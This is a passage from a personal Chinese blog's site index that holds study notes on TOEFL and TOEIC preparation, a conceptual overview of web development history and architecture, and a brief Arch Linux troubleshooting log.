似是而非的\n会进行对于观点的一一反驳.\n还是吃听力\u0026mdash;\u0026gt;细节越多越好,听到了就狂写\n阅读改写,听力可以写原文并且尽量写原文(不会写就自己表达).\nListening # 背单词 + 相关背景知识 + 练习\n记哪类单词:\n1.转折类单词\n2.否定类单词\n3.极端类单词\n​\t最高级,比较级,序数词\n对话 # Office Hour # S-P\nS-E\n三要素:\n1.人物\n2.环境\u0026mdash;地点,时间之类\n3.情节\n?问题\tR原因\tS建议/解决方案\n人设:本科生\n​\t1.专业\t2.年级\nsubject:\n人类学:Clovis\tnative american\n远古人:\n1.来美洲\n2.发展历史\thunting\u0026amp;gathering-\u0026gt;nomadic(游牧民族)\u0026amp;domesticate-\u0026gt;agriculture\n3.灭绝\t气候,疾病\n对话主旨解法:\n审题:\n1.why 目的主旨 90%\t举例子的目的?\n​\t问谁,谁回答(进门前,学生最初的问题)\n​\t答案位置:开头比较多\n2.what 内容主旨\n​\t控球率\n写论文 # paper(托福用的单词)\n1.题目 topic\n2.摘要 introduction\n3.正文 body\n4.参考文献 reference\n写作范围太宽\t推迟deadline\u0026mdash;extension(扩展时间)\toutline\n评语 comment\nService Encounters # 注册\t宿舍\t社团\t书店/商店\t志愿\t实习之类的\n有些逆天双重否定 not unlike sth\u0026mdash;不是不像\nfaculty教职工\ndepartment\u0026mdash;在campus里面就不是指部门,指学院\nfunding\t钱,基金,赞助\n讲座 # ​\t历史 考古 人类学 心理 社会学 商科/经济学 哲学 教育学(基本都是文科的主题,因为理工科术语比较复杂并且过于有专业性,大概)\nArcheaology # site\t地点\tgrave/tomb(坟墓)\nform 构造\nfunction 功能\ndigging-\u0026gt;tool fossil artwork\ntribe-\u0026gt;tribe war\n基本结构:\n讲座态度解法:\n肯定程度:\n肯定 否定 不确定\n(大部分在结尾的位置)\nArt\u0026amp;History # 小背景:\nFresco 湿壁画(最后的晚餐)\nBrushstroke 笔触\ntexture 画布\ncanvas 油画\n肖像画\nArt Criticism\t评论家,鉴赏家\n1400-1600 Renaissance\n1600-1700 Baroco\n1700-1800 Rococo\n艺术家传记讲座\n1.独特 unique\n2.*风格 style\n3.作品 work\n4.*经历 event\u0026mdash;\u0026gt;风格是怎么形成的\n5.P 来自教授的评价\u0026mdash;\u0026gt;非常好\n画作欣赏:\n1.主题 subject\n2.背景 background\u0026mdash;构图\n3.色彩 color\n4.笔触 brushstroke\n艺术家主旨答案:\n1.艺术家本人\n2.ta的风格\n3.ta的作品\n4.ta的观点\n历史学:\nacoustic 声学的\n自然科学 # 天文学和地理是类似的\n内容主旨\u0026mdash;一般比较简单.(也不一定)\n题目文章同步\n主旨题覆盖全文\n重听题目就不一定\ncore-mantle-crust-atmosphere\nlava-magma\n选择的原则:\n动物植物学/生态学 # 动物考察通类,不考察特殊的species.\n行为 behaviour\u0026mdash;原因 reason\n生理结构 organ/cell brain/heart高频 器官的功能等\u0026mdash;able to do sth\nresponsible for\n重听题目\n1.一般重听题目\n2.推断题目 imply infer\n​\t答案不是原文.\n​\t选用逆向思维.\n出题:\nA类:奇怪的tone 语气.\n​\t朴实:but转折代表的含义.\nB类:全部信息.\n​\t部分信息,往上文思考,之前的信息没有给全,比较有难度.\n植物学:\nalgae 藻类 photosynsize进行光合作用\nbacteria fungi\u0026mdash;真菌\n遗传学:dna 基因\n生态学\n生态问题\u0026mdash;人类\u0026mdash;治理方法\u0026mdash;解释方法的原理\u0026mdash;例子\nReading # 句子简化 # ​\t我的评价是,如果你看懂了句子,那你就不需要语法,但是阻止你看懂的可能就是某些复杂的语法(废话).\n改变,遗漏重要信息.\t一般都是超级长难句\n句子:主干 + 修饰 + 逻辑\n谓语:predicate\n1.主干\u0026mdash;\u0026gt;主谓\n2.修饰,限定还是补充\n3.逻辑,主干之间的关系\u0026mdash;\u0026gt;相似还是主次\n非限定修饰语:nonessential\n句子:sentence\n分句:clause\nparaphrase:替换\t如果替换了部分内容有没有问题\ne.g. : exempli gratia\npaleontologists 古生物学家\ninvasion 入侵率\nspore 孢子\npropagules 遗传物质\n事实信息 # 没有固定形式\u0026mdash;\u0026gt;根据某个自然段,可以\u0026hellip;\u0026hellip;\nimply-\u0026gt;implicit 暗示的\nexplicit-\u0026gt;明显的\n限定词 + 抽象 = 具体\nin the presence of 存在\n否定事实信息\u0026amp;推断 # 不正确或者文章中的信息没有包含.\nverify\u0026mdash;\u0026gt;确认.\n推断都是比较直接的.\n修辞目的问题 # 我还是认为读懂就能解决一切问题.\nbe responsible for\u0026mdash;是\u0026hellip;的成因\neliminate\u0026ndash;排除什么\t可以是为了排除怎样的观点.\n观点:opinion view hypothesis theory\n段落目的,和与其他段落的关系.\ncomprehensive look\u0026mdash;广泛的视角\n插入文本题目 # 第九题.\n有明显的指代词,或者逻辑关系.比如 They believe限制了就是人类.\n并列:also,other\u0026mdash;并列的双方长度可能相似\n因果:consequently,thus\n反向:but,however,on the contrary\ndelineate:表达,描述,描绘\nAnd yet(反向的关系)/thus/also:and 可以加上很多逻辑词语\n后面的指代也有可能指代到前面的部分.\n表达积累 # ​\t练习作文和口语这样的输出内容的任务\u0026mdash;\u0026gt;使用句子.\nThere is no such secret ingredients.\t世上无捷径.\nListening to our intution and gut feeling is essential.\n\u0026hellip;,which leads to a sense of frustration.\n","date":"2025-08-04","externalUrl":null,"permalink":"/zh-cn/life/toefl/","section":"Life","summary":"\u003ch1 class=\"relative group\"\u003eTOEFL \n    \u003cdiv id=\"toefl\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#toefl\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t这个笔记用来记录托福的备考.我是报了一个新东方网课,但是肯定自己要好好准备,线下的课程太贵并且我懒得通勤,大概就是这样的.\u003c/p\u003e\n\u003cp\u003e​\t\u003cstrong\u003ePractice makes perfect!!!\u003c/strong\u003e\u003c/p\u003e","title":"Toefl","type":"life"},{"content":" Web_Development # ​\t本文是关于web开发导论的一些内容，主要是为了对于web开发有一个现代并且全面的认知，说来惭愧，笔者现在大二已经结束，但是对于web开发还是没有一个深刻的认知，仅仅停留在写过一些前端和Java代码上面，从这里作为起点，我们来开始对于Web开发的探索，希望能成为我dev的指明灯。\n​\t这里就仅仅是通识性的知识。仅作个人笔记使用。\n​\t“什么是”，但是不是“怎么用”。\nPart 1: 启蒙与巨石时代 # 1.B/S架构软件与Web开发的初步认识 # 简单对于前端学习可以看freecodecamp，很不错。（但是前端本身是很复杂的）\n必须经过系统学习。\nC/S\tB/S\u0026mdash;》通用：浏览器（Browser/Server）\nHTML\u0026mdash;》基本网页内容和结构\tCSS（级联样式表）在HTML中选择元素进行设计\tJavascript\u0026mdash;》真正的编程语言，网站的交互（用户和浏览器，浏览器和服务器）\n早期 jQuery\n2.前后端交互的初步认识 # 历史记录，登录验证这样的处理是怎样做到的？\n用户之间是怎么加好友发消息的？\n后端：主要和数据处理相关 # 1.服务器\n2.编程语言：Java php golong ruby rust python Node.js\n3.框架：spring spring boot flask gin bego rails\n4.数据库：CRUD MySQL MongoDB Redis\u0026mdash;》非关系型，主要用于缓存\n5.Linux，可能包含运维相关的东西。\n6.API：应用程序编程接口。\n3.单体架构应用 # 一个文件内部实现前后端，每次更改重新构建项目。\n1.混沌时期：\n2005：博客，论坛，早期电商 # 单体架构应用（Monolithic Architecture）\n一个软件的所有功能都在一个单元内部。前后端没有分离。\u0026mdash;》php一个项目\n技术栈：LAMP/WAMP组合。\nL/W：Linux服务器还是Windows服务器。\nA:Apache，主流web服务器。负责接收来自浏览器的http请求，并且转发给后端的程序。（HTTP Server）\nP:PHP，调用Apache服务器，或者py（不适合做web开发）/Perl。\n工作流程:\n1.浏览器向服务器发送一个请求。GET/ Products?id=123\n2.ApacheServer收到请求，发现是PHP请求，商品123的信息。\n3.PHP脚本开始执行，根据数据和预先写好的html模板(静态的)进行混合渲染，动态生成一个完整的页面（不同用户网站数据不相同，定制的,就比如B站的个人主页）。\n4.这个文本返回给Apache，相应返回给用户的浏览器。\n5.在用户的浏览器上进行渲染。JS做一些动画之类的效果。\nPHP：脚本，在html内部写php语言（前后端混在一起了），jsp是类似的，直接就可以和数据库进行交互之类的操作。\n功能复杂，模块化。所以php和jsp基本已经被淘汰了。\n4.前后端分离的进程和技术的演进 # 2004-2010：前后端分离的萌芽期 # ​\tAjax：一种用js实现的技术。Asynchronous：异步，可以不用请求整个页面就可以局部维护或者更新数据。\n​\tXML：一种数据格式。\n​\t现在用JSON：Javascript object notation\n2010-2014：标准的前后端分离 # SPA：单页面应用。\nWeb API的标准：前端和后端之间通信的标准和规范。\nrestful API：\n​\tAPI：application programming interface\n​\t1.请求什么数据2.以什么格式请求3.返回什么格式的数据\nREST：REpresentational state transfer\t表现层状态转移\n所有东西都是资源\t资源都有唯一标识符，就是URL\n这样的一个“链接”就是URL。\nhttps://ja.wikipedia.org/wiki/%E3%83%A1%E3%82%A4%E3%83%B3%E3%83%9A%E3%83%BC%E3%82%B8 表现层：\nJSON\tXML\tHTML\t在Client和Server之间转移的形式\n状态转移：\n资源发生变化的过程：比如用户发起一个删除的操作。\nlogin.jsp：已经淘汰了。\n计算机网络：Cookie工作原理。每当有一个用户的时候，就要创建一个对象。\n不用session的原因。（反而会使效率变低）\n负载均衡，分担流量。\nrestful API\t无状态\n六大约束：\n1.客户端和服务器必须相互独立。\n2.无状态\tserver不能存储任何session\t为什么学Spring\n​\t所有请求都必须包含服务器所需要的全部信息。\n3.可缓存\n4.统一接口 uniform interface\n​\t资源标识符\tJSON，用表现层操作资源\n​\t自描述信息\tHATEOAS，超媒体作为应用状态的引擎\n5.分层系统\n​\tClient不知道自己具体和谁在通信。\n6.按需代码\n5.HTTP,RESTful API,Token,GraphQL # 介绍相关的概念。\nHttp Verbs:一次行动的目的。GET POST\u0026hellip;\u0026hellip;\n我们用汇编写了一个Server，对于这些理解的就会很深刻了。\n你要对于地址做什么动作，获取信息还是提交表单。\nCRUD：最早是http verb。\nGET：获取信息。\nPOST：创建。登录，注册。\nPUT：更新替换。\nDEL：删除。\nPatch：局部更新。\n实际企业使用只使用POST和GET。不用物理删除，用软删除，标记状态即可。\nCookie：不安全。不用Session和Cookie，保存状态。\n中间人攻击，流量劫持。\n现代使用Token。JWT技术。（JSON Web Token）令牌格式。\n授权协议\nOAuth 2.0\n1.访问令牌 JWT\n2.刷新令牌\n认证协议\nOpenID connect OIDC\n身份协议\nID TOKEN\n2015至今 # React Vue.js的诞生 Angular\nNode.js\nGraphQL:架构风格。解决什么问题？\n流行技术。\n比较有意思。\n/users/123\t返回了很多的数据，数据过载\n/users/123/posts?limit=5\t多次请求\n精确确定需要什么数据，不会过载。\n一次请求完成多个数据。\nFor example, the query:\n{ me { name } } Could produce the following JSON result:\n{ \u0026#34;data\u0026#34;: { \u0026#34;me\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;Luke Skywalker\u0026#34; } } } 前端工程化。\n四驾马车：\n1.包管理器（库很多）：NPM，Yarn安装第三方库\n2.构建工具：webpack，并行开发，技术栈独立演进，职责边界清晰。\n​\t整合工具。\n3.框架，库\treact vue\n4.编译器/转译器：比较新。ECMAScript这是一种设计的规范。\n接下来是前后端分离的实际演示。\n服务器软件。\n前几天学了web安全，理解起来比较轻松，通识课还是比较简单。\n6.后端框架Java与Spring全家桶的时代演进 # 过去很笨重 Servlet API -\u0026gt; Java Web J2EE\nSpring全家桶 # 打包成war包，然后部署到Tomcat上面去\t重量级并且繁琐\nSpring Boot\n2004年：Spring Framework诞生\n1.IOC：控制反转\t容器\tDI注入\n2.AOP：面向切面编程\t处理权限问题\nSpring MVC（model view controller）一种设计上的方法\n专门处理web请求 http verb\nController：控制路由\t复杂业务就是Service，比如操作数据库的内容\n配置非常繁琐，很复杂，那么就有：\nSpring Boot\u0026mdash;配置说明书，帮你组装配件\t2014年，很多大项目都使用\n约定优于配置。优点是稳定，为微服务打下了基础。\nPart 2: 工业革命与未来之光 # 7.微服务架构与分布式系统的时代历程与技术演进 # 微服务革命 # 感谢你带来更多的就业岗位。（）\n原来是单体架构\n2015至今\t业务需求演变\n​\t不是简单的一个应用，分为很多的服务模块，比如B站的直播应用就是一个单独的应用，以及某某区，我们都要把这些东西分开。\n微服务：\n三独立原则。\n1.独立开发\t不同团队负责不同的模块，有100%控制权\n2.独立部署：最大的优势\n3.独立数据存储，每个微服务都有自己的数据库，不能跨数据库查询\n不同服务之间通过自己的API进行交互。\n优势\n1.技术的异构性\t每个团队都可以采用不同的技术\n微信小程序也是依赖于微服务的API接口\n所以我们说语言和框架不重要，对于大厂。\n性能Rust Golang\n稳定，核心：Java Spring\n推荐算法，数据科学：Py\n2.极致的扩展性\u0026mdash;外科手术般的精准扩展\n3.容错和隔离\n系统有很强的健壮性，就是因为独立性\n局部坏死没有关系\t熔断，服务降级\n分布式\u0026mdash;分布式系统（御坂网络）\t网络互联的计算机的集合\nNetflix部署\n莫名奇妙跟风微服务，某些商城项目。\n2019，技术鸡汤年，滥用微服务。拆分不见得是好处。\n解决分布式的问题：\n如何分配任务？\t负载均衡:分担流量。\n相互沟通？\t网络通信。\n出错？\t容错，高可用。\n版本？\t配置管理。\n出错？\t分布式追踪。\n微服务架构是一种分布式系统（比如bit coin），一种设计的原则。\n集群\n三大论文：分布式数据库相关问题。\nGFS\nMapReduce\nbigtable\n它们带来了大数据时代。\nhadoop hbase\n云计算：在这些分布式系统上进行计算。\nAWS\t亚马逊云，按需分配\n资源共享和高性能计算。\nSpark tensorflow\n地理分布，低延迟\nCDN 内容分发网络，计算机网络中我们学习过。\n简单实现 # 学生服务\tCRUD 3001端口（不能冲突）\n课程服务\t3002端口\n前端应用\nAPI网关\u0026mdash;总服务台\t3000端口\nnmp vite vues node.js快速搭建微服务\n补充：RPC和gRPC # 不同服务之间不能直接访问数据库，可以用API\n这里用RPC，远程过程调用，调用另一台计算机上的方法，不用关心计算机网络，更方便。\n同TCP协议。\ngRPC用http，更快，效率更高。\n.proto文件\nNginx反向代理 # service a localhost：3001\nservice b localhost：3002\n我要管理这些服务。\n访问某个域名的时候，到底选择哪个服务。\n8.前端工程化的新潮流技术提醒 # yarn npm pnpm（新技术）\n包管理工具\n现在service用ts比较多，比js舒服一些\nexpress 比较老的框架\t有simform\tRspack\tBun\nDeno\n反正新东西多得夸张，新的库，框架，层出不穷，日新月异。\nCSS\u0026mdash;tailwind CSS\n编译器：Babal Web\n预处理器：sass-lang\tless-css\nCSS框架：getbootstrap\tbulma\n前端测试：jest mocha js\n状态管理：redux mobX VueX Zustand\n前端安全： CORS（web安全）\n静态生成器：hugo，本网站就使用了hugo来搭建\nVercel：服务器部署\u0026mdash;趋势（重点）\n前端监控：sentry\u0026mdash;体量很大\n前端代码质量：eslint prettier\n文档生成：storybook gitbook\n前端组件库：Ant material（md风格，很纯的安卓） element ui\n前端动画：gasp framer motion anime.js\n前端图表库：d3.js chart.js echarts\n前端模块化：es modulws common.js AMD front\n前端跨平台：react native重置过的项目很多 Flutter（感觉更先进）\u0026mdash;趋势 Dart\nPWA 渐进式web应用\n9.再谈后端的发展趋势和技术词 # 小公司：前后端都用js或者ts。\u0026mdash;全栈工程师，技术很杂，很依赖个人能力和团队规范，不适合CPU密集型任务。ts解决这个问题，js的超集。\nSpring全家桶：超级航空母舰，更可靠。\n这取决与应用场景。\nSpring Cloud：服务发现，API网关，声明式http客户端，熔断器，分布式配置中心\nPython？语法简单。Django，Flask FastAPI\n效率更低\t全局解释器🔒\t在有的微服务项目中也会大量的使用\nwebsockets RabbitMQ Rocket MQ\nwebhooks\t服务器之间事件回调的机制\nORM\t对象关系映射\t和Java合作的数据库框架 mybatis不用JDBC\nPrisma python数据库\ttypeorm\tsequelize\n改不了字段怎么办\n后端测试：pytest unit testing mocha integration apitest json Postman（不能不会）\nweb server：Nginx\n10.云原生时代的演进与发展，容器化，容器编排，DevOps：Golang的时代潮流在哪里？ # 云原生浪潮和现代工程化 # 容器化技术\t解决很难部署的问题，大量服务器，还有版本的问题\n环境隔离的解决方案\u0026mdash;虚拟机\n物理机\u0026mdash;虚拟机\nVM hypervisor在服务器模拟计算机\n那么每一个虚拟机都要一个完整的OS，这是很麻烦的，我们就迎来了容器。\n2013：Docker 容器 # 我们也学习过一些关于docker的内容\n轻量级，容器镜像不包含操作系统内核。\nLinux namespaces\t命名空间，认为自己是隔离的\ndocker仓库的概念，什么都有，拉取镜像。\n容器编排 # Google Kubernetes k8s\n理念：提供一种声明式的工作方式。\n控制循环：当前状态和期望状态进行比较，高级部署策略，自动扩容，自动修复。\n存储化编排。\n管理微服务集群的解决方案。\nCI/CD DevOps # CI：持续集成，开发者每天会把自己的代码自动合并和build。\nCD：持续交付/部署。\nDevOPs：筒仓效应。(Soli Effect)\u0026mdash;过度分工\nYOU BUILD IT, YOU RUN IT.\nGolang # 最耀眼的就是多并发场景。\nGoroutine：超轻量级线程。数百万个都是有可能的。\n实现非阻塞的高并发。跨平台编译。性能之王。\n​\tB站主站的微服务架构（有1600个微服务，全部由Golang实现），Bangumi，Youtube，适合直播，庞大的流量。\n​\tKratos，B站的开源项目。\n​\tDocker引擎就是Go写的。\n接近C，Cpp但是很安全和方便。\nGin\tFiber\tGo的框架\n11.元框架技术形式的当下与未来 # 元框架的大一统\nNext.js-\u0026gt;React\nNuxt.js-\u0026gt;Vue.js\n1.混合渲染模式\nCSR 仪表盘，数据频繁变动\u0026mdash;可以自行决定前端还是后端进行渲染\nSSR 服务端渲染\n数据响应式\nSSG 静态站点生成\nISR 增量静态再生\t比如动态墙\n2.*API路由，后端的内化\n文件夹即路由，即API\n12.Serverless与边缘计算的趋势与未来 # 物理机\t所有东西都要自己配置\n虚拟机\t买云服务器 + 域名，变得更简单\n容器化\nServerless无服务器\t开发者不应该担心运维问题\nFaaS 函数即服务\u0026mdash;服务器没有使用就不收费，只有function在工作的时候才会收费（事件驱动）\n可以弹性伸缩。\n场景：实时处理，AI生成内容，物联网比较重要。问题是状态的保存，要数据库。\nBaaS 后端即服务，只用调用平台提供的SDK即可，不需要自己安装服务。\nsupabase\n边缘计算\u0026mdash;光速终究有限\n游戏加速器的实现\n中心仓库\tCDN内容分发\nVercel很不错\n​\tAI开发可以，但是在可预见的未来，公司的实际项目不会使用，或者最多只能参与测试的一小部分。辅助，但不是全自动化的。\n13.版本控制（VCS）的发展历程和git # git是怎么实现的？\n追踪记录\n版本回溯\n协同工作\u0026mdash;多个开发者工作\n备份和恢复\n1.Local VCS本地版本控制\u0026mdash;追踪代码和文件变更，不支持多人开发\nSCCS Source Code Control System\n七十年代 贝尔实验室\nRCS Revision\n2.集中式 VCS\nCVS 八十年代 不支持原子提交\nSVN Subversion 版本控制的内容更好了 2000年 中央服务器单点故障的问题\n3.分布式 DVCS\n2005年 git\nLinus\n每个开发者有完整的代码仓库，有完整的历史记录。\n本地进行，速度快，强大的分支模型。\n数据完整性。\n托管代码仓库平台 Github 2008年上线，塑造了现在的基本盘\n不会就直接查文档，git写的很nb，有问题直接查。\n14.依赖管理的意义 # 第三方库\t拓扑排序的感觉\n你引入的库相互依赖，且相互依赖的版本还不一样。\n手动管理会带来灾难。\n依赖管理器 自动化工具\n查找\nManifest File 清单文件\nLock file 锁定文件\n​\t总之，我们已经理解，web开发到了现在已经不仅仅是web开发的问题，而是一个更为庞大的生态，有趣并且复杂。虽然就业很难,但是一开始的学习以兴趣为导向是没错的(我是说你有时间的时候),如果是为了找实习找工作,那就是另一个话题了对么.\n​\t2025.12.16:回来看,还真是另一个话题,劳累且没有什么动力!\n","date":"2025-08-01","externalUrl":null,"permalink":"/zh-cn/tech/web_development/","section":"Tech","summary":"\u003ch1 class=\"relative group\"\u003eWeb_Development \n    \u003cdiv id=\"web_development\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#web_development\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t本文是关于\u003cstrong\u003eweb开发导论\u003c/strong\u003e的一些内容，主要是为了对于web开发有一个现代并且全面的认知，说来惭愧，笔者现在大二已经结束，但是对于web开发还是没有一个深刻的认知，仅仅停留在写过一些前端和Java代码上面，从这里作为起点，我们来开始对于Web开发的探索，希望能成为我dev的指明灯。\u003c/p\u003e\n\u003cp\u003e​\t这里就仅仅是\u003cstrong\u003e通识性\u003c/strong\u003e的知识。仅作个人笔记使用。\u003c/p\u003e\n\u003cp\u003e​\t“什么是”，但是不是“怎么用”。\u003c/p\u003e","title":"Web_Development","type":"tech"},{"content":" logs # archlinux # ​\t关于安装和后期维护的问题.\ngrub引导报内核不存在 # 放一个gpt的链接,连续解决了两次问题,总体就是要在ubuntu里面整理一下引导项.\nhttps://chatgpt.com/share/689dc2a8-b5e8-8012-a02e-354b56a7c802\n图形界面无法正常加载的问题 # 到最后也没太明白到底为什么,好像是intel核显和nvidia显卡竞争的问题?\n可能是前段时间系统升级导致的,可以看看这个过程,如果有懂得教教我\u0026hellip;\u0026hellip;\nhttps://chatgpt.com/share/68c0e44f-15c0-8012-a530-0591fc8219f6\n","date":"2025-07-28","externalUrl":null,"permalink":"/zh-cn/tech/env_setup_log/","section":"Tech","summary":"\u003ch1 class=\"relative group\"\u003elogs \n    \u003cdiv id=\"logs\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#logs\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\n\n\u003ch2 class=\"relative group\"\u003earchlinux \n    \u003cdiv id=\"archlinux\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#archlinux\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t关于安装和后期维护的问题.\u003c/p\u003e","title":"Env_setup_log","type":"tech"},{"content":" Toeic备考 # ​\t看看能不能10天之内速通Toeic的简单记录，用的是新东方的1000题，因为看到网上都用这个。然后就是XDF的题目好像普遍难度偏大一些。\n​\t估分就直接按照1道题目5分来算吧。暂定的目标分数是730/990。\nindex 听力 阅读 总分 1 375（错25个） 400（错20个，应该超时了，我靠） 775 2 385（错23个） 335（错33个，10个没写） 720 3 370（错26个） 335(错33个，但是写完了，我靠，绷不住) 705 4 385（错23个） 350（5个没写，错30个） 735 5 355（错29个） 335错33个（六个没写） 690 6（真题） 460（错8个） 420（错16个，刚好写完） 880（希望真题就这个水平） 7 / / / 8 / / / 9 385（错23个，看来是没有什么变化了） 懒得写了 385 + ？ 10 / 385（错23个，提前3min写完，状态最好的一集） 385 Word # ​\t说实话，刚考完N2,而且好久没有学过英语了，有点没有动力，但是不想浪费808元RMB。\n2025.7.9 # 刚开始听，状态不是很好。\n阅读一定要做快，题太多，根本做不完。\nreserve a larger hall\noverhead projector\nfiling cabinet\n2025.7.10 # 心态不重视，实际上很难做完，刚开始的时候就要抓最紧的时间来写，就能写完。\nassemble\nmake up one\u0026rsquo;s mind\ncondolences\t哀悼\nbe forecast to\t过去分词不变形\nRSVP\t请回复\u0026mdash;\u0026gt;还是法语，我靠\nfeasibility\t可行性\n2025.7.11 # 最后几个容易走神，注意力要集中。\n73min做完了，但是正确率又下降了，新东方的阅读还是很难，有时间做一套真题看看情况。\nstroll\t闲逛\ncompensation\t补偿\nobligation\t义务\n2025.7.12 # 今天休息了一天，看了一天BangDream,毁了。\n2025.7.13 # 这阅读怎么提升，很逆天啊。\n还是错23个听力，感觉一直就是这个实力了。\ndespite（不管，不顾） although（尽管）\n2025.7.14 # ​\t感觉听力也不是光听就能提升的，最后实在是很难集中精神了，最后一列题目就错了11个，很累。这东西没办法学啊，明天做一套真题看看吧。\nplant：有工厂的意思\nrelocate\t搬迁，迁移\ncredit A with B\t把B归功于A\nBarring\t除非，除了\n2025.7.15 # ​\t太热了，一点精神都没有我靠。先做一套官方的原题看看难度。\n这个真题好像确实不是简单一点点，很简单。稍微有些信心了。\nship\t有装运的意思，把货物装到轮船上面去这样的意味\n2025.7.16 # ​\t休息一天，这牛马考试真是煎熬。\n2025.7.17 # ​\t今天再休息一天。初步开始toefl的学习，先背单词。\n2025.7.18 # ​\t背单词，然后再写一套听力，这个是真坐牢。\n2025.7.19 # ​\t最后一天，背单词，写一套阅读题看看。明天考试，小日记到此为止了。。。。。。\n​\t有一说一,不知道为什么正式考试的听力这么难.不过就我的练习时长来说也就是一分钱一分货了,反正交换是够用了.\n","date":"2025-07-09","externalUrl":null,"permalink":"/zh-cn/life/toeic/","section":"Life","summary":"\u003ch1 class=\"relative group\"\u003eToeic备考 \n    \u003cdiv id=\"toeic%E5%A4%87%E8%80%83\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#toeic%E5%A4%87%E8%80%83\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t看看能不能10天之内速通Toeic的简单记录，用的是新东方的1000题，因为看到网上都用这个。然后就是XDF的题目好像普遍难度偏大一些。\u003c/p\u003e\n\u003cp\u003e​\t估分就直接按照1道题目5分来算吧。暂定的目标分数是\u003cstrong\u003e730/990\u003c/strong\u003e。\u003c/p\u003e\u003c/blockquote\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth style=\"text-align: center\"\u003eindex\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e听力\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e阅读\u003c/th\u003e\n          \u003cth style=\"text-align: center\"\u003e总分\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e1\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e375（错25个）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e400（错20个，应该超时了，我靠）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e775\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e2\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e385（错23个）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e335（错33个，10个没写）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e720\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e3\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e370（错26个）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e335(错33个，但是写完了，我靠，绷不住)\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e705\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e4\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e385（错23个）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e350（5个没写，错30个）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e735\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e5\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e355（错29个）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e335错33个（六个没写）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e690\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e6（真题）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e460（错8个）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e420（错16个，刚好写完）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e880（希望真题就这个水平）\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e7\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e/\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e/\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e/\u003c/td\u003e\n      